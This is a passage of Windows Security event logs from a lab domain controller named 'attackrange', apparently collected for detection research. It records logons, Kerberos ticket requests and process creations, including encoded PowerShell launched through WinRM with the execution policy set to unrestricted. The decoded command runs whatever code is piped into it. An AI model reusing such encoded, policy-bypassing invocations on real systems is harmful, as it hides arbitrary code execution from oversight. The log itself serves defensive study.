	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x561262
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{5BC0902A-31C9-47F0-1EC2-83757BEA5599}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257857
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{5BC0902A-31C9-47F0-1EC2-83757BEA5599}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257856
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{5BC0902A-31C9-47F0-1EC2-83757BEA5599}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257855
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257854
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfe4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257853
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb90
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257852
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55F201

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257851
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55F201
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{5BC0902A-31C9-47F0-1EC2-83757BEA5599}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257850
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{5BC0902A-31C9-47F0-1EC2-83757BEA5599}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257849
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{5BC0902A-31C9-47F0-1EC2-83757BEA5599}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257848
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257847
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb90
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x578
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257846
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x578
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc88
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257845
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55ED3E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257844
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55ED3E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

